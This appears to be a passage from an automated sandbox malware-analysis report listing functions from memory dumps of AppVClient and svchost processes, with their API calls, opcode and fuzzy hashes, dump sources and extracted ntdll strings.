Opcode ID: bedead01c1dc1848f45a379680a0d4ea3d4e28d5f80a8af917199885409c5e81
Instruction ID: 31c99936c62a14167fa9e86b1e9a571dcc0829db343124c25cd51a6c1ff689fe
Opcode Fuzzy Hash: bedead01c1dc1848f45a379680a0d4ea3d4e28d5f80a8af917199885409c5e81
Instruction Fuzzy Hash: C1D1F231518B0D8FCB28EF58D8497EBB7E1FBA1310F58461EDC47C3265DA789A458AC2

Function 007452A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 007453C4

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: d771002238b0da58bf9280f5c12051464807bfaecf04c6e03cacf2915f1ea2df
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 9141F7A250DED58FD7264B2848643747BA0AB123EAF9D04E7D4C38B0E3E3DC4C859326

Function 00748070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d342092ad2f220efaa916aa9cfbfe4eab70e6cc09f0e9aaa0704db0697f7b76
Instruction ID: edd1dcb9d41f26f29497ea1a9b782ef5580519140d855f781d593c00075f6c12
Opcode Fuzzy Hash: 7d342092ad2f220efaa916aa9cfbfe4eab70e6cc09f0e9aaa0704db0697f7b76
Instruction Fuzzy Hash: 38614430A1CA8DDFC7E98B28885833E7BA0FB56350F58461BE456C31A0DF6C9C499753

Function 00745B09 Relevance: 3.1, APIs: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 271d2ce957380dda59bec67b3401f78bfe59ce1ac95e2a301b3fd69d026ebc34
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 2D019270A0DF4B8FDB5956649C983797790EF51724F2501ABC487CA093DB6C4904EB62

Function 00745910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 0fe9b6eb2b55418477418947846d6440fb1d656ba8660a699a0b5f8191ae66f4
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 05F1072171CE488FC769972C58593B977D2FB99310F58469EE84FC3297DE6C9C0A8382

Function 00745B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: b9e1a827931c49423f167866526495951bb338a658b94a098d50cf11fbce24c8
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 9221C13060CF46CFCB6A9B1884D877826E1EB55310F6902A69447CF1A3DB2C8C44D766

Function 00745B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00745B90
CreateThread.KERNELBASE ref: 00745CDF

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: ee5750e280401015aff03cf7d77edd183640949b027053554f9b371af091fee3
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 24E0867061DB444FDB5A9B2458207293AE5EB88310F1501CEC44ADB1D2CF6D09058796

Function 0074599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 007459D9

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 25e524eef2f049243a6bc6c57955b5371f3f4b01e950ff796638d29be3fda127
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: D601F970B1DE80CFD757971844492796A52FB95324F28865A908EC7193DB3CAD059742

Function 00745BE2 Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00745C03

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction ID: 0c4bc289346f69fe9cf18880fa60d62fc5dbacbf4d60bdd9143f61459a249abf
Opcode Fuzzy Hash: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction Fuzzy Hash: 67E0C271A48E1BCFEB55A618C8C937522C0DF2436032409618802C7113E71CCE05EF62

Function 00748090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00748186

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 1c620236f7afa898a2311e2828d6ba0e52a4e69d966ece51bf0e5f9c858c48e0
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 85C08C6012988E9766F902880C0B0BC26008206350B0C000F8C0380220DF0C8E031097

Function 0074817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00748186

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 91c88fc3c691033ef3256ef45287416b1d6c26a26006012414715a9997974a8e
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: CCC092A459955D8765F926C86C0A0BD3550461B760F0C441FEC078A364DF5C8D5355E3

Non-executed Functions

Function 00772D40 Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00772F8D

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: b2614b7e1b0189ae345bd4c1d95b1b808051b71dd771fb59e21b33d23e549fbc
Instruction ID: 202c380ff976d82c8093dd964c76a611ca677573c2cd6192f127e088585ea60c
Opcode Fuzzy Hash: b2614b7e1b0189ae345bd4c1d95b1b808051b71dd771fb59e21b33d23e549fbc
Instruction Fuzzy Hash: EEB17731610A4D8FDF99CF1CC88AB6677E1FB59344F188599E86DCB262C339D852CB01

Function 0076EEB0 Relevance: .7, Instructions: 737COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f1da026cedb8bb4c154c58f95936b4a0e13185094ee08358de1f6eed02a0cf
Instruction ID: b04a225a507b0208e56e35ad32ebd9f3976dfd6c3da2e867c859da797ca29459
Opcode Fuzzy Hash: 33f1da026cedb8bb4c154c58f95936b4a0e13185094ee08358de1f6eed02a0cf
Instruction Fuzzy Hash: E6F19732668F1C079728EE9DAC8E2B573C2D3E4722F4A437F9845D3265ED75AC8185C2

Function 00747C00 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 724192d415810ac4f34237431d09bd2ecc20d27c57fa4998346b62a5e3d6f42c
Instruction ID: 412a0a0565a50eb62bef4f39f68555cf0ab78e9378ef7192756a62a2e0ce1701
Opcode Fuzzy Hash: 724192d415810ac4f34237431d09bd2ecc20d27c57fa4998346b62a5e3d6f42c
Instruction Fuzzy Hash: 0FC15A3242DB644AD32B9F7DA8812E6F3E4FFD9319F41872AD9C5A3060DB3854478286

Function 0076A810 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6b58e5a89bf5cdf24951cf629520558a61642b70cf246aec3f524e75493717
Instruction ID: 81878882f838a7c71bfcd71a9427000161ba3efb37b033e1f2411dee7fd754be
Opcode Fuzzy Hash: 4e6b58e5a89bf5cdf24951cf629520558a61642b70cf246aec3f524e75493717
Instruction Fuzzy Hash: 6061E531A293894B930DC91D9C864517B92EAA651937CC3ECCDD28F387E862F517C3D2

Function 007479F0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e2da79344872b5643ce3899f66769d7448a497f841557188c4ca06468b0fd85
Instruction ID: 4212e39da40d2b0ab0576ae031ff25e828e4fad6ebc4be31b040890a97bb70a7
Opcode Fuzzy Hash: 8e2da79344872b5643ce3899f66769d7448a497f841557188c4ca06468b0fd85
Instruction Fuzzy Hash: 8D515C90B1C7848FDB3E8B3C481427E2A91EB96364F6DC2DBE04AC2291DF2C4E41C356

Function 007693B0 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1cb0376d5f4543bb8137eeff6a4ca7b4a3039c8d8bd8826e253d9a000427cd9
Instruction ID: dd5ab14a278209c2a8eb9a9065036ab52eaa82f327a7141319c9eec701cba398
Opcode Fuzzy Hash: f1cb0376d5f4543bb8137eeff6a4ca7b4a3039c8d8bd8826e253d9a000427cd9
Instruction Fuzzy Hash: 53510DB28183058F8308CF19C882126FBE5FB8A714B15855EE9D697212D731F9538FC2

Function 007692A0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1757447620.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_740000_AppVClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0710a6d56e74f75e4f2d76c0792897e09a389baafeaf9ef38ca3dee3c678baf7
Instruction ID: 95f53bcb3013ffc607570205fa4a55d7e593650cec09bf4caffca84637faaae4
Opcode Fuzzy Hash: 0710a6d56e74f75e4f2d76c0792897e09a389baafeaf9ef38ca3dee3c678baf7
Instruction Fuzzy Hash: C84182B69683048F830CDF14C883422B7E4FB8A719B25C56DD9D64B202DB31F953DAC2

Analysis Process: svchost.exePID: 5228, Parent PID: 3748COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11%
Total number of Nodes:	91
Total number of Limit Nodes:	7

Executed Functions

Function 002E7B23 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 002E7B95

Memory Dump Source

Source File: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 002D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2d0000_svchost.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2df5ad1a77759440835b44e0c81d592d2dcef492499a061f42018885d7945096
Instruction ID: 23344d434bcd2457be04a585357057c06e5ae6a6550b60d12d8ebb8d7b9ea6f1
Opcode Fuzzy Hash: 2df5ad1a77759440835b44e0c81d592d2dcef492499a061f42018885d7945096
Instruction Fuzzy Hash: F3010CB5D5020EABDB10DAA5DD42FAEF3789B54308F0041A5EA18A7240F631EA258B91

Function 002FCA93 Relevance: 1.5, APIs: 1, Instructions: 25
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 002FCAC7

Memory Dump Source

Source File: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 002D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2d0000_svchost.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: cf2b45a22dd28b00f8020047974d71a9615bfe0208659e68875304388e63bb0d
Instruction ID: ab0a323be8b38c6687118a5f0a189d70637542c1990232adcdc8f00f89d3cb50
Opcode Fuzzy Hash: cf2b45a22dd28b00f8020047974d71a9615bfe0208659e68875304388e63bb0d
Instruction Fuzzy Hash: D2E086712406057BD510FA69DC41FE7B75CDFC5711F004025FA18A7241C77079108BF0

Function 02F735C0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 02F735CA

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9d2bcd9b88abda25324e0edd6ff924dd608e281e2d624ddd933cca78999155c8
Instruction ID: beaba43f15038fe404dcefd8247ed03cd40434f147cb36a71058e707b6bc84a3
Opcode Fuzzy Hash: 9d2bcd9b88abda25324e0edd6ff924dd608e281e2d624ddd933cca78999155c8
Instruction Fuzzy Hash: FD90023160550812D20071588554707500687D0381FA5C411A142456CD87A58A5165A2

Function 02F72B60 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 02F72B6A

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6d1a49e6fb1a0ff63c62624b3b9492c02b2f1feb30d19c74b6ff8a846dc3efe6
Instruction ID: abecfa306faa3e29507cd3b0aa347f5075b0835d871d978d25eee6376dabb3ae
Opcode Fuzzy Hash: 6d1a49e6fb1a0ff63c62624b3b9492c02b2f1feb30d19c74b6ff8a846dc3efe6
Instruction Fuzzy Hash: A290026120240413420571588454617800B87E0381B95C021E2014594DC53589916125

Function 02F72DF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 02F72DFA

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8b5e68afd370d91e70774a66adf9ff5b14829121f8a7127d5fe667a6e79da49a
Instruction ID: f8647b987277b5e1fe2c3cb6e3ce21ea601829a728dca3b6dee3092c34553caf
Opcode Fuzzy Hash: 8b5e68afd370d91e70774a66adf9ff5b14829121f8a7127d5fe667a6e79da49a
Instruction Fuzzy Hash: 9190023120140823D21171588544707400A87D03C1FD5C412A142455CD96668A52A121

Function 002FCE03 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,?,00000007,00000000,00000004,00000000,?,000000F4), ref: 002FCE3F

Strings

^h., xrefs: 002FCE06

Memory Dump Source

Source File: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 002D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2d0000_svchost.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: ^h.
API String ID: 3298025750-3901830856
Opcode ID: 28ef2d6e509b58d6041715ca700afd5f36670ba15aff7ef934103d6af870da59
Instruction ID: 4b81ec3507b5d366aed8d73c3f6039e063f2e3718d438324dd7df8f5260c3a1b
Opcode Fuzzy Hash: 28ef2d6e509b58d6041715ca700afd5f36670ba15aff7ef934103d6af870da59
Instruction Fuzzy Hash: B9E092B12042047BD610EE59EC41FEB77ADEFC9710F004019F948A7241D670BD20CBB4

Function 002FCDB3 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,002EE8FE,?,?,00000000,?,002EE8FE,?,?,?), ref: 002FCDEF

Memory Dump Source

Source File: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 002D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2d0000_svchost.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 758e987ca8dc1407da8ea2d75dd6bb0baa15a4ae5a41ed448168bd99f93428ac
Instruction ID: 3aede74581cd16f4efba9a66e980a59e170b69c5fd64dcf54dd54d9798a315c0
Opcode Fuzzy Hash: 758e987ca8dc1407da8ea2d75dd6bb0baa15a4ae5a41ed448168bd99f93428ac
Instruction Fuzzy Hash: FEE06DB12142087BD610EE98DC41FEB73ADEFC9710F000419F908A7242D670BD208BB4

Function 002FCE53 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?), ref: 002FCE87

Memory Dump Source

Source File: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 002D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2d0000_svchost.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4a72a8c2f97c2ed90bbe4c78ab3260a7f6740fedc81c4197864b34bdc353a8b3
Instruction ID: 25d86aca632d6233478074b43a4a983abcc3725eff86c6288a5c78af28206016
Opcode Fuzzy Hash: 4a72a8c2f97c2ed90bbe4c78ab3260a7f6740fedc81c4197864b34bdc353a8b3
Instruction Fuzzy Hash: 9EE04F752002147BD520FA69DC41FDBB76CDFC5760F004415FA08A7242C6B07911C7E0

Function 02F72C0A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 02F72C24

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 184bf865038148e07317c0bae3c7c7b5d2a4cdcee602ce85a4b9a5f63d8a32f0
Instruction ID: 97d0cb01594f14322433170552f7ac355482eccf788d28f8b9e2194901ae3a93
Opcode Fuzzy Hash: 184bf865038148e07317c0bae3c7c7b5d2a4cdcee602ce85a4b9a5f63d8a32f0
Instruction Fuzzy Hash: E8B09B71D015C5D5DB11F7605A08717790567D0791F55C062D3030645E4738C1D1E175

Non-executed Functions

Function 02FB2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON

Download Yara Rule

Strings

Initializing the application verifier package failed with status 0x%08lx, xrefs: 02FB3176
MaxLoaderThreads, xrefs: 02FB24EC
FrontEndHeapDebugOptions, xrefs: 02FB2489
TracingFlags, xrefs: 02FB2549
@, xrefs: 02FB2942
RaiseExceptionOnPossibleDeadlock, xrefs: 02FB2579
DisableExceptionChainValidation, xrefs: 02FB275F
@, xrefs: 02FB2B74
GlobalFlag2, xrefs: 02FB2FC0
UseImpersonatedDeviceMap, xrefs: 02FB251C
UnloadEventTraceDepth, xrefs: 02FB24C0
ExecuteOptions, xrefs: 02FB25A0
MinimumStackCommitInBytes, xrefs: 02FB2BB0
minkernel\ntdll\ldrinit.c, xrefs: 02FB3187
MaxDeadActivationContexts, xrefs: 02FB2D82
DisableHeapLookaside, xrefs: 02FB246D
ShutdownFlags, xrefs: 02FB24A1
CFGOptions, xrefs: 02FB2967
LdrpInitializeExecutionOptions, xrefs: 02FB317D
GlobalFlag, xrefs: 02FB2F3F, 02FB3059

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
API String ID: 0-2160512332
Opcode ID: 437c35b5bdd5be92fc2f229b9aaf43e703a35ffdeca18698c12d948185aafa1e
Instruction ID: d6a9da0c1f00ff80492fe26bb52d21d757a90ed930fe9f1001ac927457720835
Opcode Fuzzy Hash: 437c35b5bdd5be92fc2f229b9aaf43e703a35ffdeca18698c12d948185aafa1e
Instruction Fuzzy Hash: 8D928D71A04341ABE722DF26C880BABB7E9BF88794F14491DFB95D7250D770E844CB92

Function 02F68620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

Critical section debug info address, xrefs: 02FA541F, 02FA552E
Address of the debug info found in the active list., xrefs: 02FA54AE, 02FA54FA
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 02FA540A, 02FA5496, 02FA5519
Critical section address, xrefs: 02FA5425, 02FA54BC, 02FA5534
double initialized or corrupted critical section, xrefs: 02FA5508
Invalid debug info address of this critical section, xrefs: 02FA54B6
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 02FA54E2
Thread is in a state in which it cannot own a critical section, xrefs: 02FA5543
Thread identifier, xrefs: 02FA553A
corrupted critical section, xrefs: 02FA54C2
8, xrefs: 02FA52E3
undeleted critical section in freed memory, xrefs: 02FA542B
Critical section address., xrefs: 02FA5502
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 02FA54CE

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: 17f6ea446a3f0db89406f0c54647d1b040dc70c0ee9f22ac26928c0111c7c3f8
Instruction ID: b78f64a06e516b1b340961b014953f60020cedd0ac94aa48a1eb619f781d26b7
Opcode Fuzzy Hash: 17f6ea446a3f0db89406f0c54647d1b040dc70c0ee9f22ac26928c0111c7c3f8
Instruction Fuzzy Hash: 5F81ACB1E00358AFFB20CF94C945BAEBBB6EB48794FA44119E605B7640C375A944CF60

Function 02FE12ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON

Download Yara Rule

Strings

Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 02FE186B
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 02FE18A5
Heap block at %p has incorrect segment offset (%x), xrefs: 02FE181A
HEAP: , xrefs: 02FE1706, 02FE1756, 02FE17A8, 02FE1809, 02FE184D, 02FE1895, 02FE18E6
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 02FE18F8
Heap block at %p is not last block in segment (%p), xrefs: 02FE17B7
HEAP[%wZ]: , xrefs: 02FE16CD, 02FE16F9, 02FE1749, 02FE179B, 02FE17FC, 02FE1840, 02FE18D9
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 02FE176D
Free Heap block %p modified at %p after it was freed, xrefs: 02FE171B

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
